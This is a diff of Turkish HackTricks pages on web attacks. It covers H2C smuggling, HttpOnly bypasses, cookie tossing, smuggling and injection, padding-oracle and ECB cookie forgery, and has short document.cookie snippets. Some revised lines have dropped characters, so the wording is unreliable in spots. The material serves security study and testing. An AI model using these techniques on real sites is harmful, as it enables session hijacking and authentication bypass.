{% hint style="success" %} {% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\

View file

@ -15,19 +15,11 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details> </details>
{% endhint %} {% endhint %}
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
### H2C Smuggling <a href="#http2-over-cleartext-h2c" id="http2-over-cleartext-h2c"></a> ### H2C Smuggling <a href="#http2-over-cleartext-h2c" id="http2-over-cleartext-h2c"></a>
#### HTTP2 Over Cleartext (H2C) <a href="#http2-over-cleartext-h2c" id="http2-over-cleartext-h2c"></a> #### HTTP2 Over Cleartext (H2C) <a href="#http2-over-cleartext-h2c" id="http2-over-cleartext-h2c"></a>
H2C, veya **http2 ık metin üzerinden**, standart HTTP **bağlantısını kalıcı birine** yükselterek geçici HTTP bağlantılarının normundan sapar. Bu yükseltilmiş bağlantı, devam eden iletişim için http2 ikili protokolünü kullanır; bu, düz metin HTTP'nin tek isteklilik doğasına karşıdır. H2C, veya **http2 over cleartext**, standart HTTP **bağlantısını kalıcı birine** yükselterek geçici HTTP bağlantılarının normundan sapar. Bu yükseltilmiş bağlantı, sürekli iletişim için http2 ikili protokolünü kullanır; bu, düz metin HTTP'nin tek isteklilik doğasına karşıdır.
Kaçakçılık sorununu oluşturan temel nokta, **ters proxy** kullanımında ortaya çıkar. Genellikle, ters proxy HTTP isteklerini işler ve bunları arka uca ileterek arka ucun yanıtını döner. Ancak, bir HTTP isteğinde `Connection: Upgrade` başlığı mevcut olduğunda (genellikle websocket bağlantılarıyla görülür), ters **proxy, istemci ve sunucu arasında kalıcı bir bağlantı** sürdürür ve belirli protokollerin gerektirdiği sürekli değişimi kolaylaştırır. H2C bağlantıları için, RFC'ye uyum sağlamak üç belirli başlığın varlığını gerektirir: Kaçakçılık sorununu oluşturan temel nokta, **ters proxy** kullanımında ortaya çıkar. Genellikle, ters proxy HTTP isteklerini işler ve bunları arka uca ileterek arka ucun yanıtını döner. Ancak, bir HTTP isteğinde `Connection: Upgrade` başlığı mevcut olduğunda (genellikle websocket bağlantılarıyla görülür), ters **proxy, istemci ve sunucu arasında kalıcı bir bağlantı** sürdürür ve belirli protokollerin gerektirdiği sürekli değişimi kolaylaştırır. H2C bağlantıları için, RFC'ye uyum sağlamak üç belirli başlığın varlığını gerektirir:
``` ```
@ -112,12 +104,6 @@ Check the labs to test both scenarios in [https://github.com/0ang3el/websocket-s
* [https://github.com/0ang3el/websocket-smuggle.git](https://github.com/0ang3el/websocket-smuggle.git) * [https://github.com/0ang3el/websocket-smuggle.git](https://github.com/0ang3el/websocket-smuggle.git)
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %} {% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

View file

@ -15,13 +15,6 @@ GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt
</details> </details>
{% endhint %} {% endhint %}
**Try Hard Security Group**
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Çerez Nitelikleri ## Çerez Nitelikleri
@ -43,12 +36,12 @@ Bir çerezi alacak olan ana bilgisayarlar `Domain` niteliği ile belirtilir. Var
İki çerez aynı adı taşıdığında, gönderilmek üzere seçilen çerez: İki çerez aynı adı taşıdığında, gönderilmek üzere seçilen çerez:
* İstenen URL'deki en uzun yolu eşleştiren çerez. * İstenen URL'deki en uzun yolu eşleşen çerez.
* Yollar aynıysa en son ayarlanan çerez. * Yollar aynıysa en son ayarlanan çerez.
### SameSite ### SameSite
* `SameSite` niteliği, çerezlerin üçüncü taraf alanlardan gelen isteklere gönderilip gönderilmeyeceğini belirler. Üç ayarı vardır: * `SameSite` niteliği, çerezlerin üçüncü taraf alanlardan gelen isteklerde gönderilip gönderilmeyeceğini belirler. Üç ayar sunar:
* **Strict**: Çerezin üçüncü taraf isteklerinde gönderilmesini kısıtlar. * **Strict**: Çerezin üçüncü taraf isteklerinde gönderilmesini kısıtlar.
* **Lax**: Çerezin üçüncü taraf web siteleri tarafından başlatılan GET istekleri ile gönderilmesine izin verir. * **Lax**: Çerezin üçüncü taraf web siteleri tarafından başlatılan GET istekleri ile gönderilmesine izin verir.
* **None**: Çerezin herhangi bir üçüncü taraf alanından gönderilmesine izin verir. * **None**: Çerezin herhangi bir üçüncü taraf alanından gönderilmesine izin verir.
@ -65,11 +58,11 @@ Bir çerezi alacak olan ana bilgisayarlar `Domain` niteliği ile belirtilir. Var
| AJAX | $.get("...") | NotSet\*, None | | AJAX | $.get("...") | NotSet\*, None |
| Resim | \<img src="..."> | NetSet\*, None | | Resim | \<img src="..."> | NetSet\*, None |
Tablo [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) kaynağından alınmış ve biraz değiştirilmiştir.\ Tablo [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) kaynağından alınmış ve hafifçe değiştirilmiştir.\
_**SameSite**_ niteliğine sahip bir çerez, **CSRF saldırılarını azaltacaktır**. _**SameSite**_ niteliğine sahip bir çerez, **CSRF saldırılarını azaltacaktır**.
**\*Chrome80 (şub/2019) itibarıyla, bir çerez için varsayılan davranış, çerez samesite** **nitelikleri yoksa lax** olacaktır ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\ **\*Chrome80 (şub/2019) itibarıyla, bir çerez için varsayılan davranış, çerez samesite** **nitelikleri yoksa lax** olacaktır ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
Bu değişiklik uygulandıktan sonra, **SameSite** **politikası olmayan çerezler Chrome'da** **ilk 2 dakika boyunca None** olarak **değerlendirilecek ve ardından üst düzey çapraz site POST isteği için Lax** olarak değerlendirilecektir. Bu değişiklik uygulandıktan sonra, **SameSite** **politikası olmayan çerezler Chrome'da** **ilk 2 dakika boyunca None** olarak **değerlendirilecek ve ardından üst düzey çapraz site POST isteği için Lax olarak** değerlendirilecektir.
## Çerez Bayrakları ## Çerez Bayrakları
@ -79,21 +72,21 @@ Bu, **istemcinin** çereze erişimini engeller (Örneğin **Javascript** ile: `d
#### **Aşmalar** #### **Aşmalar**
* Eğer sayfa, bir isteğin yanıtı olarak çerezleri **gönderiyorsa** (örneğin bir **PHPinfo** sayfasında), XSS'i kötüye kullanarak bu sayfaya bir istek göndermek ve **çerezleri** yanıtından **çalmayı** mümkün kılmak mümkündür (örneği kontrol edin [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/). * Eğer sayfa, bir isteğin yanıtı olarak çerezleri **gönderiyorsa** (örneğin bir **PHPinfo** sayfasında), XSS'i kötüye kullanarak bu sayfaya bir istek göndermek ve yanıtından **çerezleri çalmak** mümkündür (örneği kontrol edin [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/).
* Bu, **TRACE** **HTTP** istekleri ile aşılabilir çünkü sunucudan gelen yanıt, gönderilen çerezleri yansıtacaktır (bu HTTP yöntemi mevcutsa). Bu teknik **Cross-Site Tracking** olarak adlandırılır. * Bu, **TRACE** **HTTP** istekleri ile aşılabilir çünkü sunucudan gelen yanıt, gönderilen çerezleri yansıtacaktır (bu HTTP yöntemi mevcutsa). Bu teknik **Cross-Site Tracking** olarak adlandırılır.
* Modern tarayıcılar, JS'den TRACE isteği göndermeye izin vermeyerek bu tekniği engeller. Ancak, IE6.0 SP2'ye `TRACE` yerine `\r\nTRACE` göndererek bazı aşmalar bulunmuştur. * Modern tarayıcılar, JS'den TRACE isteği göndermeye izin vermeyerek bu tekniği engeller. Ancak, IE6.0 SP2'ye `TRACE` yerine `\r\nTRACE` göndererek bazı aşmalar bulunmuştur.
* Diğer bir yol, tarayıcıların sıfır/günlük açıklarını istismar etmektir. * Başka bir yol, tarayıcıların sıfır/günlük açıklarını istismar etmektir.
* Bir Çerez Jar taşma saldırısı gerçekleştirerek **HttpOnly çerezleri** **aşmak** mümkündür: * Bir Çerez Kavanozu taşma saldırısı gerçekleştirerek **HttpOnly çerezlerini** **aşmak** mümkündür:
{% content-ref url="cookie-jar-overflow.md" %} {% content-ref url="cookie-jar-overflow.md" %}
[cookie-jar-overflow.md](cookie-jar-overflow.md) [cookie-jar-overflow.md](cookie-jar-overflow.md)
{% endcontent-ref %} {% endcontent-ref %}
* Bu çerezleri dışarı aktarmak için [**Cookie Smuggling**](./#cookie-smuggling) saldırısı kullanılabilir. * Bu çerezleri dışarı aktarmak için [**Cookie Smuggling**](./#cookie-smuggling) saldırısını kullanmak mümkündür.
### Güvenli ### Güvenli
İstek, yalnızca güvenli bir kanal üzerinden (tipik olarak **HTTPS**) iletilirse çerezi bir HTTP isteği ile **gönderecektir**. İstek, yalnızca güvenli bir kanal üzerinden (tipik olarak **HTTPS**) iletilirse çerezi bir HTTP isteğinde **sadece** gönderir.
## Çerez Ön Ekleri ## Çerez Ön Ekleri
@ -103,24 +96,24 @@ Bu, **istemcinin** çereze erişimini engeller (Örneğin **Javascript** ile: `d
* `secure` bayrağı ile ayarlanmalıdır. * `secure` bayrağı ile ayarlanmalıdır.
* HTTPS ile güvence altına alınmış bir sayfadan gelmelidir. * HTTPS ile güvence altına alınmış bir sayfadan gelmelidir.
* Alt alan adlarına iletimini engellemek için bir alan belirtmeleri yasaktır. * Bir alan belirtmeleri yasaktır, bu da alt alan adlarına iletimlerini engeller.
* Bu çerezlerin yolu `/` olarak ayarlanmalıdır. * Bu çerezlerin yolu `/` olarak ayarlanmalıdır.
`__Host-` ile başlayan çerezlerin süper alan adlarına veya alt alan adlarına gönderilmesine izin verilmediğini belirtmek önemlidir. Bu kısıtlama, uygulama çerezlerini izole etmeye yardımcı olur. Bu nedenle, tüm uygulama çerezleri için `__Host-` ön ekinin kullanılması, güvenliği ve izolasyonu artırmak için iyi bir uygulama olarak kabul edilebilir. `__Host-` ile başlayan çerezlerin süper alan adlarına veya alt alan adlarına gönderilmesine izin verilmediğini belirtmek önemlidir. Bu kısıtlama, uygulama çerezlerini izole etmeye yardımcı olur. Bu nedenle, tüm uygulama çerezleri için `__Host-` ön ekinin kullanılması, güvenliği ve izolasyonu artırmak için iyi bir uygulama olarak kabul edilebilir.
### Çerezleri Üzerine Yazma ### Çerezleri ma
Dolayısıyla, `__Host-` ile başlayan çerezlerin korunmasından biri, alt alan adlarından üzerine yazılmalarını engellemektir. Örneğin [**Cookie Tossing saldırılarını**](cookie-tossing.md) önlemek. [**Cookie Crumbles: Web Oturum Bütünlüğü Açıklarını Ortaya Çıkarma**](https://www.youtube.com/watch?v=F\_wAzF4a7Xg) ([**makale**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) konuşmasında, alt alan adlarından `__HOST-` ile başlayan çerezlerin ayarlanmasının, örneğin başına veya sonuna "=" ekleyerek, ayrıştırıcıyı kandırarak mümkün olduğu sunulmuştur: Dolayısıyla, `__Host-` ile başlayan çerezlerin korunmasından biri, alt alan adlarından ılmalarını engellemektir. Örneğin [**Cookie Tossing saldırılarını**](cookie-tossing.md) önlemek. [**Cookie Crumbles: Web Oturum Bütünlüğü Açıklarını Ortaya Çıkarma**](https://www.youtube.com/watch?v=F\_wAzF4a7Xg) ([**makale**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) konuşmasında, alt alan adlarından \_\_HOST- ile başlayan çerezlerin ayarlanmasının, örneğin başına veya başına ve sonuna "=" ekleyerek, ayrıştırıcıyı kandırarak mümkün olduğu sunulmuştur:
<figure><img src="../../.gitbook/assets/image (6) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (6) (1).png" alt=""><figcaption></figcaption></figure>
Ya da PHP'de çerez adının başına **diğer karakterler ekleyerek**, bunların **alt çizgi** karakterleri ile **değiştirileceği** mümkün olmuştur, bu da `__HOST-` çerezlerini üzerine yazmaya olanak tanır: Ya da PHP'de çerez adının **başına** başka karakterler ekleyerek, bunların **alt çizgi** karakterleri ile **değiştirileceği** mümkün olmuştur, bu da `__HOST-` çerezlerini maya olanak tanır:
<figure><img src="../../.gitbook/assets/image (7) (1).png" alt="" width="373"><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (7) (1).png" alt="" width="373"><figcaption></figcaption></figure>
## Çerez Saldırıları ## Çerez Saldırıları
Özel bir çerez hassas veriler içeriyorsa, bunu kontrol edin (özellikle bir CTF oynuyorsanız), çünkü savunmasız olabilir. Özel bir çerez hassas veriler içeriyorsa, bunu kontrol edin (özellikle bir CTF oynuyorsanız), çünkü bu savunmasız olabilir.
### Çerezleri Çözme ve Manipüle Etme ### Çerezleri Çözme ve Manipüle Etme
@ -168,7 +161,7 @@ document.cookie = "a=v1"
document.cookie = "=test value;" // Setting an empty named cookie document.cookie = "=test value;" // Setting an empty named cookie
document.cookie = "b=v2" document.cookie = "b=v2"
``` ```
Gönderilen çerez başlığındaki sonuç `a=v1; test value; b=v2;` şeklindedir. İlginç bir şekilde, bu, boş bir isim çerezi ayarlandığında çerezlerin manipüle edilmesine olanak tanır; boş çerezi belirli bir değere ayarlayarak diğer çerezleri potansiyel olarak kontrol etme imkanı sağlar: Gönderilen çerez başlığındaki sonuç `a=v1; test value; b=v2;` şeklindedir. İlginç bir şekilde, bu, boş bir isim çerezi ayarlandığında çerezlerin manipüle edilmesine olanak tanır ve boş çerezi belirli bir değere ayarlayarak diğer çerezleri potansiyel olarak kontrol etme imkanı sağlar:
```js ```js
function setCookie(name, value) { function setCookie(name, value) {
document.cookie = `${name}=${value}`; document.cookie = `${name}=${value}`;
@ -176,7 +169,7 @@ document.cookie = `${name}=${value}`;
setCookie("", "a=b"); // Setting the empty cookie modifies another cookie's value setCookie("", "a=b"); // Setting the empty cookie modifies another cookie's value
``` ```
Bu, tarayıcının her web sunucusu tarafından `a` adında ve `b` değerinde bir çerez olarak yorumlanan bir çerez başlığı göndermesine yol açar. Bu, tarayıcının her web sunucusu tarafından `a` adında ve `b` değerine sahip bir çerez olarak yorumlanan bir çerez başlığı göndermesine yol açar.
#### Chrome Hatası: Unicode Yedek Kod Noktası Sorunu #### Chrome Hatası: Unicode Yedek Kod Noktası Sorunu
@ -186,40 +179,40 @@ document.cookie = "\ud800=meep";
``` ```
Bu, `document.cookie`'nin boş bir dize döndürmesine neden olur ve kalıcı bir bozulmayı gösterir. Bu, `document.cookie`'nin boş bir dize döndürmesine neden olur ve kalıcı bir bozulmayı gösterir.
#### Ayrıştırma Sorunlarından Kaynaklanan Cookie Smuggling #### Ayrıştırma Sorunlarından Dolayı Cookie Smuggling
(Daha fazla detay için [orijinal araştırmaya](https://blog.ankursundara.com/cookie-bugs/) bakın) Java (Jetty, TomCat, Undertow) ve Python (Zope, cherrypy, web.py, aiohttp, bottle, webob) gibi birkaç web sunucusu, eski RFC2965 desteği nedeniyle cookie dizelerini yanlış işler. Birden fazla noktalı virgül içerse bile, çift tırnak içinde bir cookie değerini tek bir değer olarak okurlar; bu, normalde anahtar-değer çiftlerini ayırması gereken bir durumdur: (Daha fazla detay için [orijinal araştırmaya](https://blog.ankursundara.com/cookie-bugs/) bakın) Java (Jetty, TomCat, Undertow) ve Python (Zope, cherrypy, web.py, aiohttp, bottle, webob) gibi birkaç web sunucusu, eski RFC2965 desteği nedeniyle cookie dizelerini yanlış işler. Birden fazla değer içerse bile, çift tırnak içinde bir cookie değerini tek bir değer olarak okurlar; bu değerler genellikle anahtar-değer çiftlerini ayıran noktalı virgülleri içermelidir:
``` ```
RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end"; RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
``` ```
#### Cookie Enjeksiyon Açıkları #### Cookie Injection Vulnerabilities
(Daha fazla detay için [orijinal araştırmaya](https://blog.ankursundara.com/cookie-bugs/) bakın) Sunucuların, özellikle Undertow, Zope ve Python'un `http.cookie.SimpleCookie` ve `http.cookie.BaseCookie` kullananların, çerezleri yanlış analiz etmesi, çerez enjeksiyon saldırıları için fırsatlar yaratır. Bu sunucular, yeni çerezlerin başlangıcını doğru bir şekilde ayırt edemez, bu da saldırganların çerezleri taklit etmesine olanak tanır: (Check further details in the[original research](https://blog.ankursundara.com/cookie-bugs/)) Sunucuların çerezleri yanlış analiz etmesi, özellikle Undertow, Zope ve Python'un `http.cookie.SimpleCookie` ve `http.cookie.BaseCookie` kullananlar, çerez enjeksiyon saldırıları için fırsatlar yaratır. Bu sunucular, yeni çerezlerin başlangıcını düzgün bir şekilde ayırt edemez, bu da saldırganların çerezleri taklit etmesine olanak tanır:
* Undertow, alıntılanmış bir değerden hemen sonra bir yeni çerez bekler, noktalı virgül olmadan. * Undertow, alıntılanmış bir değerden hemen sonra yeni bir çerez bekler, noktalı virgül olmadan.
* Zope, bir sonraki çerezi analiz etmeye başlamak için bir virgül arar. * Zope, bir sonraki çerezi analiz etmeye başlamak için bir virgül arar.
* Python'un çerez sınıfları, bir boşluk karakterinde analiz yapmaya başlar. * Python'un çerez sınıfları, bir boşluk karakterinde analiz yapmaya başlar.
Bu ık, çerez tabanlı CSRF korumasına dayanan web uygulamalarında özellikle tehlikelidir, çünkü saldırganların taklit CSRF-token çerezlerini enjekte etmesine olanak tanır ve bu da güvenlik önlemlerinin aşılmasına neden olabilir. Sorun, Python'un tekrar eden çerez adlarını ele almasıyla daha da kötüleşir; burada son gerçekleşme önceki olanları geçersiz kılar. Ayrıca, güvensiz bağlamlarda `__Secure-` ve `__Host-` çerezleri için endişeleri artırır ve çerezlerin taklit edilme eğiliminde olan arka uç sunuculara iletilmesi durumunda yetkilendirme atlamalarına yol açabilir. Bu zafiyet, çerez tabanlı CSRF korumasına dayanan web uygulamalarında özellikle tehlikelidir, çünkü saldırganların taklit CSRF-token çerezleri enjekte etmesine olanak tanır ve bu da güvenlik önlemlerinin aşılmasına neden olabilir. Sorun, Python'un tekrar eden çerez adlarını ele almasıyla daha da kötüleşir; burada son gerçekleşme önceki olanları geçersiz kılar. Ayrıca, güvensiz bağlamlarda `__Secure-` ve `__Host-` çerezleri için endişeleri artırır ve çerezlerin taklit edilme eğiliminde olan arka uç sunuculara iletilmesi durumunda yetkilendirme atlamalarına yol açabilir.
### Ek Hassas Çerez Kontrolleri ### Extra Vulnerable Cookies Checks
#### **Temel kontroller** #### **Basic checks**
* **Çerez**, her seferinde **aynıdır** **giriş yaptığınızda**. * **Çerez**, her seferinde **aynıdır** **giriş yaptığınızda**.
* Çıkış yapın ve aynı çerezi kullanmayı deneyin. * Çıkış yapın ve aynı çerezi kullanmayı deneyin.
* Aynı çerezi kullanarak 2 cihazda (veya tarayıcıda) aynı hesaba giriş yapmayı deneyin. * Aynı çerezi kullanarak 2 cihazda (veya tarayıcıda) aynı hesaba giriş yapmayı deneyin.
* Çerezin içinde herhangi bir bilgi olup olmadığını kontrol edin ve değiştirmeyi deneyin. * Çerezde herhangi bir bilgi olup olmadığını kontrol edin ve değiştirmeyi deneyin.
* Neredeyse aynı kullanıcı adıyla birkaç hesap oluşturmaya çalışın ve benzerlikleri görüp göremediğinizi kontrol edin. * Neredeyse aynı kullanıcı adıyla birkaç hesap oluşturmaya çalışın ve benzerlikleri görüp göremediğinizi kontrol edin.
* Varsa "**beni hatırla**" seçeneğini kontrol edin ve nasıl çalıştığını görün. Varsa ve savunmasız olabileceği düşünülüyorsa, her zaman başka bir çerez olmadan **beni hatırla** çerezini kullanın. * Varsa "**beni hatırla**" seçeneğini kontrol edin ve nasıl çalıştığını görün. Varsa ve savunmasız olabileceği düşünülüyorsa, her zaman başka bir çerez olmadan **beni hatırla** çerezini kullanın.
* Önceki çerezin, şifreyi değiştirdikten sonra bile çalışıp çalışmadığını kontrol edin. * Önceki çerezin, şifreyi değiştirdikten sonra bile çalışıp çalışmadığını kontrol edin.
#### **Gelişmiş çerez saldırıları** #### **Advanced cookies attacks**
Eğer çerez giriş yaptığınızda aynı (veya neredeyse aynı) kalıyorsa, bu muhtemelen çerezin hesabınızdaki bir alanla (muhtemelen kullanıcı adıyla) ilişkili olduğu anlamına gelir. O zaman şunları yapabilirsiniz: Çerez giriş yaptığınızda aynı (veya neredeyse aynı) kalıyorsa, bu muhtemelen çerezin hesabınızdaki bir alanla (muhtemelen kullanıcı adıyla) ilişkili olduğu anlamına gelir. O zaman şunları yapabilirsiniz:
* Çok **benzer** kullanıcı adlarına sahip birçok **hesap** oluşturmaya çalışın ve algoritmanın nasıl çalıştığını **tahmin** etmeye çalışın. * Çok **benzer** kullanıcı adlarına sahip birçok **hesap** oluşturmaya çalışın ve algoritmanın nasıl çalıştığını **tahmin** etmeye çalışın.
* **Kullanıcı adını brute force** etmeyi deneyin. Eğer çerez yalnızca kullanıcı adınız için bir kimlik doğrulama yöntemi olarak kaydediliyorsa, o zaman "**Bmin**" kullanıcı adıyla bir hesap oluşturabilir ve çerezin her bir **bitini brute force** edebilirsiniz çünkü deneyeceğiniz çerezlerden biri "**admin**"e ait olan olacaktır. * **Kullanıcı adını brute force** etmeyi deneyin. Eğer çerez yalnızca kullanıcı adınız için bir kimlik doğrulama yöntemi olarak kaydediliyorsa, o zaman "**Bmin**" kullanıcı adıyla bir hesap oluşturabilir ve çerezinizin her bir **bitini brute force** edebilirsiniz çünkü deneyeceğiniz çerezlerden biri "**admin**"e ait olan olacaktır.
* **Padding** **Oracle** denemesi yapın (çerezin içeriğini şifreleyebilirsiniz). **padbuster** kullanın. * **Padding** **Oracle** denemesi yapın (çerezin içeriğini şifreleyebilirsiniz). **padbuster** kullanın.
**Padding Oracle - Padbuster örnekleri** **Padding Oracle - Padbuster örnekleri**
@ -244,7 +237,7 @@ Bu yürütme, içinde **user=administrator** dizesi bulunan çerezi doğru bir
**CBC-MAC** **CBC-MAC**
Belki bir çerez bazı değerlere sahip olabilir ve CBC kullanılarak imzalanabilir. O zaman, değerin bütünlüğü, aynı değerle CBC kullanılarak oluşturulan imzadır. IV olarak null vektör kullanılması önerildiğinden, bu tür bir bütünlük kontrolü savunmasız olabilir. Belki bir çerez bazı değerlere sahip olabilir ve CBC kullanılarak imzalanabilir. Bu durumda, değerin bütünlüğü, aynı değerle CBC kullanılarak oluşturulan imzadır. IV olarak sıfır vektörü kullanılması önerildiğinden, bu tür bir bütünlük kontrolü savunmasız olabilir.
**Saldırı** **Saldırı**
@ -259,34 +252,29 @@ Giriş yaptığınızda aldığınız çerez her zaman aynı olmalıdır.
**Nasıl tespit edilir ve saldırılır:** **Nasıl tespit edilir ve saldırılır:**
Neredeyse aynı verilere (kullanıcı adı, şifre, e-posta, vb.) sahip 2 kullanıcı oluşturun ve verilen çerez içinde bir desen keşfetmeye çalışın. Neredeyse aynı verilere (kullanıcı adı, şifre, e-posta vb.) sahip 2 kullanıcı oluşturun ve verilen çerez içinde bir desen keşfetmeye çalışın.
Örneğin "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" adında bir kullanıcı oluşturun ve çerezde herhangi bir desen olup olmadığını kontrol edin (çünkü ECB her bloğu aynı anahtar ile şifrelediğinden, kullanıcı adı şifrelendiğinde aynı şifrelenmiş baytlar görünebilir). Örneğin "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" adında bir kullanıcı oluşturun ve çerezde herhangi bir desen olup olmadığını kontrol edin (çünkü ECB her bloğu aynı anahtar ile şifrelediğinden, kullanıcı adı şifrelendiğinde aynı şifrelenmiş baytlar görünebilir).
Kullanılan bir bloğun boyutunda bir desen olmalıdır. Yani, bir grup "a" nasıl şifrelendiğini bilerek bir kullanıcı adı oluşturabilirsiniz: "a"\*(bloğun boyutu)+"admin". Ardından, çerezden bir "a" bloğunun şifrelenmiş desenini silebilirsiniz. Ve "admin" kullanıcı adının çerezine sahip olacaksınız. Kullanılan bir bloğun boyutunda bir desen olmalıdır. Yani, bir grup "a" nasıl şifrelendiğini bilerek bir kullanıcı adı oluşturabilirsiniz: "a"*(bloğun boyutu)+"admin". Ardından, çerezden bir "a" bloğunun şifrelenmiş desenini silebilirsiniz. Ve "admin" kullanıcı adının çerezine sahip olacaksınız.
## Referanslar ## Referanslar
* [https://blog.ankursundara.com/cookie-bugs/](https://blog.ankursundara.com/cookie-bugs/) * [https://blog.ankursundara.com/cookie-bugs/](https://blog.ankursundara.com/cookie-bugs/)
* [https://www.linkedin.com/posts/rickey-martin-24533653\_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd](https://www.linkedin.com/posts/rickey-martin-24533653\_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd) * [https://www.linkedin.com/posts/rickey-martin-24533653\_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd](https://www.linkedin.com/posts/rickey-martin-24533653\_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd)
**Try Hard Security Group**
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %} {% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>HackTricks'i Destekleyin</summary> <summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! * [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.** * **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details> </details>
{% endhint %} {% endhint %}

View file

@ -1,10 +1,10 @@
# PostMessage Güvenlik ıkları # PostMessage Açıkları
## PostMessage Güvenlik ıkları ## PostMessage Açıkları
{% hint style="success" %} {% hint style="success" %}
